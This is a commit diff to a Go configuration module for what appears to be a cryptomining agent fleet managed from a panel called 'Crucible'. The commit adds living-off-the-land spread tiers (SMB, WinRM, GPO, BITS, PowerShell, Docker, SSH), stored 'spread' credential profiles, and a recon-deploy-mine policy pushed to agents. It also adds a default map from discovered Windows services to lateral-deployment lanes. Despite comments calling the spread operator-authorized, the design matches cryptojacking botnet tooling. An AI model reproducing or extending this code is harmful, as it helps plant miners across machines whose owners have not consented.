Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -28,6 +28,8 @@ type Config struct {
|
||||
Alerts AlertsConfig `json:"alerts"`
|
||||
Server ServerSettings `json:"server"`
|
||||
TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"`
|
||||
// DeploymentCredentials are operator-authorized spread profiles (vault refs only in config).
|
||||
DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"`
|
||||
}
|
||||
|
||||
// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate).
|
||||
@@ -66,6 +68,30 @@ type ServerSettings struct {
|
||||
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
|
||||
PublicBuildsEnabled bool `json:"public_builds_enabled"`
|
||||
PublicBuildsLatestN int `json:"public_builds_latest_n"`
|
||||
// LotlOnionTiers is the server-side ordered spread contingency chain pushed to
|
||||
// agents forged with lotl_policy_from_server (LOTL Onion preset).
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
|
||||
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
|
||||
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
|
||||
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
|
||||
}
|
||||
|
||||
// TripleOnionSettings is Calibrate policy for the agent triple onion.
|
||||
type TripleOnionSettings struct {
|
||||
PatchFirst bool `json:"patch_first,omitempty"`
|
||||
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
|
||||
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
|
||||
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
|
||||
ReconTiers []string `json:"recon_tiers,omitempty"`
|
||||
DeployLanes []string `json:"deploy_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// ServiceDeployLane maps a discovered service to a supply-chain join lane.
|
||||
type ServiceDeployLane struct {
|
||||
Lane string `json:"lane"`
|
||||
Priority int `json:"priority,omitempty"`
|
||||
Template string `json:"template,omitempty"`
|
||||
}
|
||||
|
||||
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
|
||||
@@ -230,6 +256,11 @@ func DefaultConfig() *Config {
|
||||
SignEnabled: false,
|
||||
SignTimestampURL: "http://timestamp.digicert.com",
|
||||
PublicBuildsLatestN: 3,
|
||||
LotlOnionTiers: []string{
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
},
|
||||
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -900,6 +931,16 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
if has("deployment_credentials") {
|
||||
dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...)
|
||||
for i := range dst.DeploymentCredentials {
|
||||
EnsureCredProfileID(&dst.DeploymentCredentials[i])
|
||||
if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" {
|
||||
dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Keep cloudflared default aligned with public_url when unset.
|
||||
if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" {
|
||||
dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL)
|
||||
@@ -919,6 +960,20 @@ func (c *Config) Save() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
return map[string]ServiceDeployLane{
|
||||
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
||||
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
||||
"BITS": {Lane: "bits_curl", Priority: 8},
|
||||
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
||||
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
||||
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
||||
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
||||
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) PoolURL() string {
|
||||
proto := "stratum+tcp"
|
||||
if c.Pool.UseTLS {
|
||||
|
||||
Reference in New Issue
Block a user